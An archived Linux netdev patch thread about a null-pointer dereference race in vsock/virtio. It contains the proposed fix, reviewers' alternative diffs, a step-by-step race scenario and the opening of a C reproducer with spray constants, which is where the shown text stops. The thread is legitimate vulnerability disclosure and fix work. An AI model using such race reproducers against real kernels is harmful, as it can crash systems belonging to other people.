diff mbox series

vsock/virtio: Fix null-ptr-deref in vsock_stream_has_data

Message ID Z2K/I4nlHdfMRTZC@v4bel-B760M-AORUS-ELITE-AX (mailing list archive)
State New
Delegated to: Netdev Maintainers
Headers show
Series vsock/virtio: Fix null-ptr-deref in vsock_stream_has_data | expand

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netdev/tree_selection success Guessed tree name to be net-next
netdev/ynl success Generated files up to date; no warnings/errors; no diff in generated;
netdev/fixes_present success Fixes tag not required for -next series
netdev/header_inline success No static functions without inline keyword in header files
netdev/build_32bit success Errors and warnings before: 0 this patch: 0
netdev/build_tools success No tools touched, skip
netdev/cc_maintainers fail 1 blamed authors not CCed: stefanha@redhat.com; 1 maintainers not CCed: stefanha@redhat.com
netdev/build_clang success Errors and warnings before: 1 this patch: 1
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netdev/deprecated_api success None detected
netdev/check_selftest success No net selftest shell script
netdev/verify_fixes success Fixes tag looks correct
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netdev/kdoc success Errors and warnings before: 0 this patch: 0
netdev/source_inline success Was 0 now: 0
netdev/contest fail net-next-2024-12-18--15-00 (tests: 650)

Commit Message

Hyunwoo Kim Dec. 18, 2024, 12:25 p.m. UTC
When calling connect to change the CID of a vsock, the loopback
worker for the VIRTIO_VSOCK_OP_RST command is invoked.
During this process, vsock_stream_has_data() calls
vsk->transport->stream_has_data().
However, a null-ptr-deref occurs because vsk->transport was set
to NULL in vsock_deassign_transport().

                     cpu0                                                      cpu1

                                                               socket(A)

                                                               bind(A, VMADDR_CID_LOCAL)
                                                                 vsock_bind()

                                                               listen(A)
                                                                 vsock_listen()
  socket(B)

  connect(B, VMADDR_CID_LOCAL)

  connect(B, VMADDR_CID_HYPERVISOR)
    vsock_connect(B)
      lock_sock(sk);
      vsock_assign_transport()
        virtio_transport_release()
          virtio_transport_close()
            virtio_transport_shutdown()
              virtio_transport_send_pkt_info()
                vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
                  queue_work(vsock_loopback_work)
        vsock_deassign_transport()
          vsk->transport = NULL;
                                                               vsock_loopback_work()
                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
                                                                   virtio_transport_recv_connected()
                                                                     virtio_transport_reset()
                                                                       virtio_transport_send_pkt_info()
                                                                         vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RST)
                                                                           queue_work(vsock_loopback_work)

                                                               vsock_loopback_work()
                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RST)
								   virtio_transport_recv_disconnecting()
								     virtio_transport_do_close()
								       vsock_stream_has_data()
								         vsk->transport->stream_has_data(vsk);    // null-ptr-deref

To resolve this issue, add a check for vsk->transport, similar to
functions like vsock_send_shutdown().

Fixes: fe502c4a38d9 ("vsock: add 'transport' member in the struct vsock_sock")
Signed-off-by: Hyunwoo Kim <v4bel@theori.io>
Signed-off-by: Wongi Lee <qwerty@theori.io>
---
 net/vmw_vsock/af_vsock.c | 3 +++
 1 file changed, 3 insertions(+)

Comments

Stefano Garzarella Dec. 18, 2024, 1:40 p.m. UTC | #1
On Wed, Dec 18, 2024 at 07:25:07AM -0500, Hyunwoo Kim wrote:
>When calling connect to change the CID of a vsock, the loopback
>worker for the VIRTIO_VSOCK_OP_RST command is invoked.
>During this process, vsock_stream_has_data() calls
>vsk->transport->stream_has_data().
>However, a null-ptr-deref occurs because vsk->transport was set
>to NULL in vsock_deassign_transport().
>
>                     cpu0                                                      cpu1
>
>                                                               socket(A)
>
>                                                               bind(A, VMADDR_CID_LOCAL)
>                                                                 vsock_bind()
>
>                                                               listen(A)
>                                                                 vsock_listen()
>  socket(B)
>
>  connect(B, VMADDR_CID_LOCAL)
>
>  connect(B, VMADDR_CID_HYPERVISOR)
>    vsock_connect(B)
>      lock_sock(sk);
>      vsock_assign_transport()
>        virtio_transport_release()
>          virtio_transport_close()
>            virtio_transport_shutdown()
>              virtio_transport_send_pkt_info()
>                vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
>                  queue_work(vsock_loopback_work)
>        vsock_deassign_transport()
>          vsk->transport = NULL;
>                                                               vsock_loopback_work()
>                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
>                                                                   virtio_transport_recv_connected()
>                                                                     virtio_transport_reset()
>                                                                       virtio_transport_send_pkt_info()
>                                                                         vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RST)
>                                                                           queue_work(vsock_loopback_work)
>
>                                                               vsock_loopback_work()
>                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RST)
>								   virtio_transport_recv_disconnecting()
>								     virtio_transport_do_close()
>								       vsock_stream_has_data()
>								         vsk->transport->stream_has_data(vsk);    // null-ptr-deref
>
>To resolve this issue, add a check for vsk->transport, similar to
>functions like vsock_send_shutdown().
>
>Fixes: fe502c4a38d9 ("vsock: add 'transport' member in the struct vsock_sock")
>Signed-off-by: Hyunwoo Kim <v4bel@theori.io>
>Signed-off-by: Wongi Lee <qwerty@theori.io>
>---
> net/vmw_vsock/af_vsock.c | 3 +++
> 1 file changed, 3 insertions(+)
>
>diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
>index 5cf8109f672a..a0c008626798 100644
>--- a/net/vmw_vsock/af_vsock.c
>+++ b/net/vmw_vsock/af_vsock.c
>@@ -870,6 +870,9 @@ EXPORT_SYMBOL_GPL(vsock_create_connected);
>
> s64 vsock_stream_has_data(struct vsock_sock *vsk)
> {
>+	if (!vsk->transport)
>+		return 0;
>+

I understand that this alleviates the problem, but IMO it is not the 
right solution. We should understand why we're still processing the 
packet in the context of this socket if it's no longer assigned to the 
right transport.

Maybe we can try to improve virtio_transport_recv_pkt() and check if the 
vsk->transport is what we expect, I mean something like this (untested):

diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
index 9acc13ab3f82..18b91149a62e 100644
--- a/net/vmw_vsock/virtio_transport_common.c
+++ b/net/vmw_vsock/virtio_transport_common.c
@@ -1628,8 +1628,10 @@ void virtio_transport_recv_pkt(struct virtio_transport *t,

         lock_sock(sk);

-       /* Check if sk has been closed before lock_sock */
-       if (sock_flag(sk, SOCK_DONE)) {
+       /* Check if sk has been closed or assigned to another transport before
+        * lock_sock
+        */
+       if (sock_flag(sk, SOCK_DONE) || vsk->transport != t) {
                 (void)virtio_transport_reset_no_sock(t, skb);
                 release_sock(sk);
                 sock_put(sk);

BTW I'm not sure it is the best solution, we have to check that we do 
not introduce strange cases, but IMHO we have to solve the problem 
earlier in virtio_transport_recv_pkt().

Thanks,
Stefano

> 	return vsk->transport->stream_has_data(vsk);
> }
> EXPORT_SYMBOL_GPL(vsock_stream_has_data);
>-- 
>2.34.1
>
Hyunwoo Kim Dec. 18, 2024, 2:19 p.m. UTC | #2
On Wed, Dec 18, 2024 at 02:40:49PM +0100, Stefano Garzarella wrote:
> On Wed, Dec 18, 2024 at 07:25:07AM -0500, Hyunwoo Kim wrote:
> > When calling connect to change the CID of a vsock, the loopback
> > worker for the VIRTIO_VSOCK_OP_RST command is invoked.
> > During this process, vsock_stream_has_data() calls
> > vsk->transport->stream_has_data().
> > However, a null-ptr-deref occurs because vsk->transport was set
> > to NULL in vsock_deassign_transport().
> > 
> >                     cpu0                                                      cpu1
> > 
> >                                                               socket(A)
> > 
> >                                                               bind(A, VMADDR_CID_LOCAL)
> >                                                                 vsock_bind()
> > 
> >                                                               listen(A)
> >                                                                 vsock_listen()
> >  socket(B)
> > 
> >  connect(B, VMADDR_CID_LOCAL)
> > 
> >  connect(B, VMADDR_CID_HYPERVISOR)
> >    vsock_connect(B)
> >      lock_sock(sk);
> >      vsock_assign_transport()
> >        virtio_transport_release()
> >          virtio_transport_close()
> >            virtio_transport_shutdown()
> >              virtio_transport_send_pkt_info()
> >                vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
> >                  queue_work(vsock_loopback_work)
> >        vsock_deassign_transport()
> >          vsk->transport = NULL;
> >                                                               vsock_loopback_work()
> >                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
> >                                                                   virtio_transport_recv_connected()
> >                                                                     virtio_transport_reset()
> >                                                                       virtio_transport_send_pkt_info()
> >                                                                         vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RST)
> >                                                                           queue_work(vsock_loopback_work)
> > 
> >                                                               vsock_loopback_work()
> >                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RST)
> > 								   virtio_transport_recv_disconnecting()
> > 								     virtio_transport_do_close()
> > 								       vsock_stream_has_data()
> > 								         vsk->transport->stream_has_data(vsk);    // null-ptr-deref
> > 
> > To resolve this issue, add a check for vsk->transport, similar to
> > functions like vsock_send_shutdown().
> > 
> > Fixes: fe502c4a38d9 ("vsock: add 'transport' member in the struct vsock_sock")
> > Signed-off-by: Hyunwoo Kim <v4bel@theori.io>
> > Signed-off-by: Wongi Lee <qwerty@theori.io>
> > ---
> > net/vmw_vsock/af_vsock.c | 3 +++
> > 1 file changed, 3 insertions(+)
> > 
> > diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
> > index 5cf8109f672a..a0c008626798 100644
> > --- a/net/vmw_vsock/af_vsock.c
> > +++ b/net/vmw_vsock/af_vsock.c
> > @@ -870,6 +870,9 @@ EXPORT_SYMBOL_GPL(vsock_create_connected);
> > 
> > s64 vsock_stream_has_data(struct vsock_sock *vsk)
> > {
> > +	if (!vsk->transport)
> > +		return 0;
> > +
> 
> I understand that this alleviates the problem, but IMO it is not the right
> solution. We should understand why we're still processing the packet in the
> context of this socket if it's no longer assigned to the right transport.

Got it. I agree with you.

> 
> Maybe we can try to improve virtio_transport_recv_pkt() and check if the
> vsk->transport is what we expect, I mean something like this (untested):
> 
> diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
> index 9acc13ab3f82..18b91149a62e 100644
> --- a/net/vmw_vsock/virtio_transport_common.c
> +++ b/net/vmw_vsock/virtio_transport_common.c
> @@ -1628,8 +1628,10 @@ void virtio_transport_recv_pkt(struct virtio_transport *t,
> 
>         lock_sock(sk);
> 
> -       /* Check if sk has been closed before lock_sock */
> -       if (sock_flag(sk, SOCK_DONE)) {
> +       /* Check if sk has been closed or assigned to another transport before
> +        * lock_sock
> +        */
> +       if (sock_flag(sk, SOCK_DONE) || vsk->transport != t) {
>                 (void)virtio_transport_reset_no_sock(t, skb);
>                 release_sock(sk);
>                 sock_put(sk);
> 
> BTW I'm not sure it is the best solution, we have to check that we do not
> introduce strange cases, but IMHO we have to solve the problem earlier in
> virtio_transport_recv_pkt().

At least for vsock_loopback.c, this change doesn’t seem to introduce any 
particular issues.

And separately, I think applying the vsock_stream_has_data patch would help 
prevent potential issues that could arise when vsock_stream_has_data is 
called somewhere.

> 
> Thanks,
> Stefano
> 
> > 	return vsk->transport->stream_has_data(vsk);
> > }
> > EXPORT_SYMBOL_GPL(vsock_stream_has_data);
> > -- 
> > 2.34.1
> > 
>
Stefano Garzarella Dec. 18, 2024, 2:40 p.m. UTC | #3
On Wed, Dec 18, 2024 at 09:19:08AM -0500, Hyunwoo Kim wrote:
>On Wed, Dec 18, 2024 at 02:40:49PM +0100, Stefano Garzarella wrote:
>> On Wed, Dec 18, 2024 at 07:25:07AM -0500, Hyunwoo Kim wrote:
>> > When calling connect to change the CID of a vsock, the loopback
>> > worker for the VIRTIO_VSOCK_OP_RST command is invoked.
>> > During this process, vsock_stream_has_data() calls
>> > vsk->transport->stream_has_data().
>> > However, a null-ptr-deref occurs because vsk->transport was set
>> > to NULL in vsock_deassign_transport().
>> >
>> >                     cpu0                                                      cpu1
>> >
>> >                                                               socket(A)
>> >
>> >                                                               bind(A, VMADDR_CID_LOCAL)
>> >                                                                 vsock_bind()
>> >
>> >                                                               listen(A)
>> >                                                                 vsock_listen()
>> >  socket(B)
>> >
>> >  connect(B, VMADDR_CID_LOCAL)
>> >
>> >  connect(B, VMADDR_CID_HYPERVISOR)
>> >    vsock_connect(B)
>> >      lock_sock(sk);
>> >      vsock_assign_transport()
>> >        virtio_transport_release()
>> >          virtio_transport_close()
>> >            virtio_transport_shutdown()
>> >              virtio_transport_send_pkt_info()
>> >                vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
>> >                  queue_work(vsock_loopback_work)
>> >        vsock_deassign_transport()
>> >          vsk->transport = NULL;
>> >                                                               vsock_loopback_work()
>> >                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
>> >                                                                   virtio_transport_recv_connected()
>> >                                                                     virtio_transport_reset()
>> >                                                                       virtio_transport_send_pkt_info()
>> >                                                                         vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RST)
>> >                                                                           queue_work(vsock_loopback_work)
>> >
>> >                                                               vsock_loopback_work()
>> >                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RST)
>> > 								   virtio_transport_recv_disconnecting()
>> > 								     virtio_transport_do_close()
>> > 								       vsock_stream_has_data()
>> > 								         vsk->transport->stream_has_data(vsk);    // null-ptr-deref
>> >
>> > To resolve this issue, add a check for vsk->transport, similar to
>> > functions like vsock_send_shutdown().
>> >
>> > Fixes: fe502c4a38d9 ("vsock: add 'transport' member in the struct vsock_sock")
>> > Signed-off-by: Hyunwoo Kim <v4bel@theori.io>
>> > Signed-off-by: Wongi Lee <qwerty@theori.io>
>> > ---
>> > net/vmw_vsock/af_vsock.c | 3 +++
>> > 1 file changed, 3 insertions(+)
>> >
>> > diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
>> > index 5cf8109f672a..a0c008626798 100644
>> > --- a/net/vmw_vsock/af_vsock.c
>> > +++ b/net/vmw_vsock/af_vsock.c
>> > @@ -870,6 +870,9 @@ EXPORT_SYMBOL_GPL(vsock_create_connected);
>> >
>> > s64 vsock_stream_has_data(struct vsock_sock *vsk)
>> > {
>> > +	if (!vsk->transport)
>> > +		return 0;
>> > +
>>
>> I understand that this alleviates the problem, but IMO it is not the right
>> solution. We should understand why we're still processing the packet in the
>> context of this socket if it's no longer assigned to the right transport.
>
>Got it. I agree with you.
>
>>
>> Maybe we can try to improve virtio_transport_recv_pkt() and check if the
>> vsk->transport is what we expect, I mean something like this (untested):
>>
>> diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
>> index 9acc13ab3f82..18b91149a62e 100644
>> --- a/net/vmw_vsock/virtio_transport_common.c
>> +++ b/net/vmw_vsock/virtio_transport_common.c
>> @@ -1628,8 +1628,10 @@ void virtio_transport_recv_pkt(struct virtio_transport *t,
>>
>>         lock_sock(sk);
>>
>> -       /* Check if sk has been closed before lock_sock */
>> -       if (sock_flag(sk, SOCK_DONE)) {
>> +       /* Check if sk has been closed or assigned to another transport before
>> +        * lock_sock
>> +        */
>> +       if (sock_flag(sk, SOCK_DONE) || vsk->transport != t) {
>>                 (void)virtio_transport_reset_no_sock(t, skb);
>>                 release_sock(sk);
>>                 sock_put(sk);
>>
>> BTW I'm not sure it is the best solution, we have to check that we do not
>> introduce strange cases, but IMHO we have to solve the problem earlier in
>> virtio_transport_recv_pkt().
>
>At least for vsock_loopback.c, this change doesn’t seem to introduce any
>particular issues.

But was it working for you? because the check was wrong, this one should 
work, but still, I didn't have time to test it properly, I'll do later.

diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
index 9acc13ab3f82..ddecf6e430d6 100644
--- a/net/vmw_vsock/virtio_transport_common.c
+++ b/net/vmw_vsock/virtio_transport_common.c
@@ -1628,8 +1628,10 @@ void virtio_transport_recv_pkt(struct virtio_transport *t,
  
         lock_sock(sk);
  
-       /* Check if sk has been closed before lock_sock */
-       if (sock_flag(sk, SOCK_DONE)) {
+       /* Check if sk has been closed or assigned to another transport before
+        * lock_sock
+        */
+       if (sock_flag(sk, SOCK_DONE) || vsk->transport != &t->transport) {
                 (void)virtio_transport_reset_no_sock(t, skb);
                 release_sock(sk);
                 sock_put(sk);

>
>And separately, I think applying the vsock_stream_has_data patch would help
>prevent potential issues that could arise when vsock_stream_has_data is
>called somewhere.

Not sure, with that check, we wouldn't have seen this problem we had, so 
either add an error, but mute it like this I don't think is a good idea, 
also because the same function is used in a hot path, so an extra check 
could affect performance (not much honestly in this case, but adding it 
anywhere could).

Thanks,
Stefano

>
>>
>> Thanks,
>> Stefano
>>
>> > 	return vsk->transport->stream_has_data(vsk);
>> > }
>> > EXPORT_SYMBOL_GPL(vsock_stream_has_data);
>> > --
>> > 2.34.1
>> >
>>
>
Stefano Garzarella Dec. 18, 2024, 3:31 p.m. UTC | #4
On Wed, Dec 18, 2024 at 03:40:40PM +0100, Stefano Garzarella wrote:
>On Wed, Dec 18, 2024 at 09:19:08AM -0500, Hyunwoo Kim wrote:
>>On Wed, Dec 18, 2024 at 02:40:49PM +0100, Stefano Garzarella wrote:
>>>On Wed, Dec 18, 2024 at 07:25:07AM -0500, Hyunwoo Kim wrote:
>>>> When calling connect to change the CID of a vsock, the loopback
>>>> worker for the VIRTIO_VSOCK_OP_RST command is invoked.
>>>> During this process, vsock_stream_has_data() calls
>>>> vsk->transport->stream_has_data().
>>>> However, a null-ptr-deref occurs because vsk->transport was set
>>>> to NULL in vsock_deassign_transport().
>>>>
>>>>                     cpu0                                                      cpu1
>>>>
>>>>                                                               socket(A)
>>>>
>>>>                                                               bind(A, VMADDR_CID_LOCAL)
>>>>                                                                 vsock_bind()
>>>>
>>>>                                                               listen(A)
>>>>                                                                 vsock_listen()
>>>>  socket(B)
>>>>
>>>>  connect(B, VMADDR_CID_LOCAL)
>>>>
>>>>  connect(B, VMADDR_CID_HYPERVISOR)
>>>>    vsock_connect(B)
>>>>      lock_sock(sk);

It shouldn't go on here anyway, because there's this check in 
vsock_connect():

	switch (sock->state) {
	case SS_CONNECTED:
		err = -EISCONN;
		goto out;


Indeed if I try, I have this behaviour:

shell1# python3
import socket
s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
s.bind((1,1234))
s.listen()

shell2# python3
import socket
s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
s.connect((1, 1234))
s.connect((2, 1234))
Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
OSError: [Errno 106] Transport endpoint is already connected


Where 106 is exactly EISCONN.
So, do you have a better reproducer for that?

Would be nice to add a test in tools/testing/vsock/vsock_test.c

Thanks,
Stefano

>>>>      vsock_assign_transport()
>>>>        virtio_transport_release()
>>>>          virtio_transport_close()
>>>>            virtio_transport_shutdown()
>>>>              virtio_transport_send_pkt_info()
>>>>                vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
>>>>                  queue_work(vsock_loopback_work)
>>>>        vsock_deassign_transport()
>>>>          vsk->transport = NULL;
>>>>                                                               vsock_loopback_work()
>>>>                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
>>>>                                                                   virtio_transport_recv_connected()
>>>>                                                                     virtio_transport_reset()
>>>>                                                                       virtio_transport_send_pkt_info()
>>>>                                                                         vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RST)
>>>>                                                                           queue_work(vsock_loopback_work)
>>>>
>>>>                                                               vsock_loopback_work()
>>>>                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RST)
>>>> 								   virtio_transport_recv_disconnecting()
>>>> 								     virtio_transport_do_close()
>>>> 								       vsock_stream_has_data()
>>>> 								         vsk->transport->stream_has_data(vsk);    // null-ptr-deref
>>>>
>>>> To resolve this issue, add a check for vsk->transport, similar to
>>>> functions like vsock_send_shutdown().
>>>>
>>>> Fixes: fe502c4a38d9 ("vsock: add 'transport' member in the struct vsock_sock")
>>>> Signed-off-by: Hyunwoo Kim <v4bel@theori.io>
>>>> Signed-off-by: Wongi Lee <qwerty@theori.io>
>>>> ---
>>>> net/vmw_vsock/af_vsock.c | 3 +++
>>>> 1 file changed, 3 insertions(+)
>>>>
>>>> diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
>>>> index 5cf8109f672a..a0c008626798 100644
>>>> --- a/net/vmw_vsock/af_vsock.c
>>>> +++ b/net/vmw_vsock/af_vsock.c
>>>> @@ -870,6 +870,9 @@ EXPORT_SYMBOL_GPL(vsock_create_connected);
>>>>
>>>> s64 vsock_stream_has_data(struct vsock_sock *vsk)
>>>> {
>>>> +	if (!vsk->transport)
>>>> +		return 0;
>>>> +
>>>
>>>I understand that this alleviates the problem, but IMO it is not the right
>>>solution. We should understand why we're still processing the packet in the
>>>context of this socket if it's no longer assigned to the right transport.
>>
>>Got it. I agree with you.
>>
>>>
>>>Maybe we can try to improve virtio_transport_recv_pkt() and check if the
>>>vsk->transport is what we expect, I mean something like this (untested):
>>>
>>>diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
>>>index 9acc13ab3f82..18b91149a62e 100644
>>>--- a/net/vmw_vsock/virtio_transport_common.c
>>>+++ b/net/vmw_vsock/virtio_transport_common.c
>>>@@ -1628,8 +1628,10 @@ void virtio_transport_recv_pkt(struct virtio_transport *t,
>>>
>>>        lock_sock(sk);
>>>
>>>-       /* Check if sk has been closed before lock_sock */
>>>-       if (sock_flag(sk, SOCK_DONE)) {
>>>+       /* Check if sk has been closed or assigned to another transport before
>>>+        * lock_sock
>>>+        */
>>>+       if (sock_flag(sk, SOCK_DONE) || vsk->transport != t) {
>>>                (void)virtio_transport_reset_no_sock(t, skb);
>>>                release_sock(sk);
>>>                sock_put(sk);
>>>
>>>BTW I'm not sure it is the best solution, we have to check that we do not
>>>introduce strange cases, but IMHO we have to solve the problem earlier in
>>>virtio_transport_recv_pkt().
>>
>>At least for vsock_loopback.c, this change doesn’t seem to introduce any
>>particular issues.
>
>But was it working for you? because the check was wrong, this one 
>should work, but still, I didn't have time to test it properly, I'll 
>do later.
>
>diff --git a/net/vmw_vsock/virtio_transport_common.c b/net/vmw_vsock/virtio_transport_common.c
>index 9acc13ab3f82..ddecf6e430d6 100644
>--- a/net/vmw_vsock/virtio_transport_common.c
>+++ b/net/vmw_vsock/virtio_transport_common.c
>@@ -1628,8 +1628,10 @@ void virtio_transport_recv_pkt(struct virtio_transport *t,
>        lock_sock(sk);
>-       /* Check if sk has been closed before lock_sock */
>-       if (sock_flag(sk, SOCK_DONE)) {
>+       /* Check if sk has been closed or assigned to another transport before
>+        * lock_sock
>+        */
>+       if (sock_flag(sk, SOCK_DONE) || vsk->transport != &t->transport) {
>                (void)virtio_transport_reset_no_sock(t, skb);
>                release_sock(sk);
>                sock_put(sk);
>
>>
>>And separately, I think applying the vsock_stream_has_data patch would help
>>prevent potential issues that could arise when vsock_stream_has_data is
>>called somewhere.
>
>Not sure, with that check, we wouldn't have seen this problem we had, 
>so either add an error, but mute it like this I don't think is a good 
>idea, also because the same function is used in a hot path, so an 
>extra check could affect performance (not much honestly in this case, 
>but adding it anywhere could).
>
>Thanks,
>Stefano
>
>>
>>>
>>>Thanks,
>>>Stefano
>>>
>>>> 	return vsk->transport->stream_has_data(vsk);
>>>> }
>>>> EXPORT_SYMBOL_GPL(vsock_stream_has_data);
>>>> --
>>>> 2.34.1
>>>>
>>>
>>
Hyunwoo Kim Dec. 18, 2024, 3:51 p.m. UTC | #5
On Wed, Dec 18, 2024 at 04:31:03PM +0100, Stefano Garzarella wrote:
> On Wed, Dec 18, 2024 at 03:40:40PM +0100, Stefano Garzarella wrote:
> > On Wed, Dec 18, 2024 at 09:19:08AM -0500, Hyunwoo Kim wrote:
> > > On Wed, Dec 18, 2024 at 02:40:49PM +0100, Stefano Garzarella wrote:
> > > > On Wed, Dec 18, 2024 at 07:25:07AM -0500, Hyunwoo Kim wrote:
> > > > > When calling connect to change the CID of a vsock, the loopback
> > > > > worker for the VIRTIO_VSOCK_OP_RST command is invoked.
> > > > > During this process, vsock_stream_has_data() calls
> > > > > vsk->transport->stream_has_data().
> > > > > However, a null-ptr-deref occurs because vsk->transport was set
> > > > > to NULL in vsock_deassign_transport().
> > > > > 
> > > > >                     cpu0                                                      cpu1
> > > > > 
> > > > >                                                               socket(A)
> > > > > 
> > > > >                                                               bind(A, VMADDR_CID_LOCAL)
> > > > >                                                                 vsock_bind()
> > > > > 
> > > > >                                                               listen(A)
> > > > >                                                                 vsock_listen()
> > > > >  socket(B)
> > > > > 
> > > > >  connect(B, VMADDR_CID_LOCAL)
> > > > > 
> > > > >  connect(B, VMADDR_CID_HYPERVISOR)
> > > > >    vsock_connect(B)
> > > > >      lock_sock(sk);
> 
> It shouldn't go on here anyway, because there's this check in
> vsock_connect():
> 
> 	switch (sock->state) {
> 	case SS_CONNECTED:
> 		err = -EISCONN;
> 		goto out;

By using a kill signal, set sock->state to SS_UNCONNECTED and sk->sk_state to 
TCP_CLOSING before the second connect() is called, causing the worker to 
execute without the SOCK_DONE flag being set.

> 
> 
> Indeed if I try, I have this behaviour:
> 
> shell1# python3
> import socket
> s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
> s.bind((1,1234))
> s.listen()
> 
> shell2# python3
> import socket
> s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
> s.connect((1, 1234))
> s.connect((2, 1234))
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
> OSError: [Errno 106] Transport endpoint is already connected
> 
> 
> Where 106 is exactly EISCONN.
> So, do you have a better reproducer for that?

The full scenario is as follows:
```
                     cpu0                                                      cpu1

                                                               socket(A)

                                                               bind(A, {cid: VMADDR_CID_LOCAL, port: 1024})
                                                                 vsock_bind()

                                                               listen(A)
                                                                 vsock_listen()
  socket(B)

  connect(B, {cid: VMADDR_CID_LOCAL, port: 1024})
    vsock_connect()
      lock_sock(sk);
      virtio_transport_connect()
        virtio_transport_connect()
          virtio_transport_send_pkt_info()
            vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_REQUEST)
              queue_work(vsock_loopback_work)
      sk->sk_state = TCP_SYN_SENT;
      release_sock(sk);
                                                               vsock_loopback_work()
                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_REQUEST)
                                                                   sk = vsock_find_bound_socket(&dst);
                                                                   virtio_transport_recv_listen(sk, skb)
                                                                     child = vsock_create_connected(sk);
                                                                     vsock_assign_transport()
                                                                       vvs = kzalloc(sizeof(*vvs), GFP_KERNEL);
                                                                     vsock_insert_connected(vchild);
                                                                       list_add(&vsk->connected_table, list);
                                                                     virtio_transport_send_response(vchild, skb);
                                                                       virtio_transport_send_pkt_info()
                                                                         vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RESPONSE)
                                                                           queue_work(vsock_loopback_work)

                                                               vsock_loopback_work()
                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RESPONSE)
                                                                   sk = vsock_find_bound_socket(&dst);
                                                                   lock_sock(sk);
                                                                   case TCP_SYN_SENT:
                                                                   virtio_transport_recv_connecting()
                                                                     sk->sk_state = TCP_ESTABLISHED;
                                                                   release_sock(sk);

                                                               kill(connect(B));
      lock_sock(sk);
      if (signal_pending(current)) {
      sk->sk_state = sk->sk_state == TCP_ESTABLISHED ? TCP_CLOSING : TCP_CLOSE;
      sock->state = SS_UNCONNECTED;
      release_sock(sk);

  connect(B, {cid: VMADDR_CID_HYPERVISOR, port: 1024})
    vsock_connect(B)
      lock_sock(sk);
      vsock_assign_transport()
        virtio_transport_release()
          virtio_transport_close()
            if (!(sk->sk_state == TCP_ESTABLISHED || sk->sk_state == TCP_CLOSING))
            virtio_transport_shutdown()
              virtio_transport_send_pkt_info()
                vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
                  queue_work(vsock_loopback_work)
        vsock_deassign_transport()
          vsk->transport = NULL;
        return -ESOCKTNOSUPPORT;
      release_sock(sk);
                                                               vsock_loopback_work()
                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_SHUTDOWN)
                                                                   virtio_transport_recv_connected()
                                                                     virtio_transport_reset()
                                                                       virtio_transport_send_pkt_info()
                                                                         vsock_loopback_send_pkt(VIRTIO_VSOCK_OP_RST)
                                                                           queue_work(vsock_loopback_work)

                                                               vsock_loopback_work()
                                                                 virtio_transport_recv_pkt(VIRTIO_VSOCK_OP_RST)
								   virtio_transport_recv_disconnecting()
								     virtio_transport_do_close()
								       vsock_stream_has_data()
								         vsk->transport->stream_has_data(vsk);    // null-ptr-deref
```

And the reproducer I used is as follows, but since it’s a race condition, 
triggering it might take a long time depending on the environment. 
Therefore, it’s a good idea to add an mdelay to the appropriate vsock function:
```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <syscall.h>
#include <stdarg.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/times.h>
#include <sys/timerfd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <stddef.h>
#include <linux/types.h>
#include <stdint.h>
#include <linux/keyctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <syscall.h>
#include <stdarg.h>
#include <sched.h>
#include <signal.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/times.h>
#include <sys/timerfd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <stddef.h>

#define FAIL_IF(x) if ((x)) { \
        perror(#x); \
        return -1; \
}
#define SPRAY_ERROR 0
#define SPRAY_RETRY 1
#define SPRAY_SUCCESS 2

#define LAST_RESERVED_PORT 1023

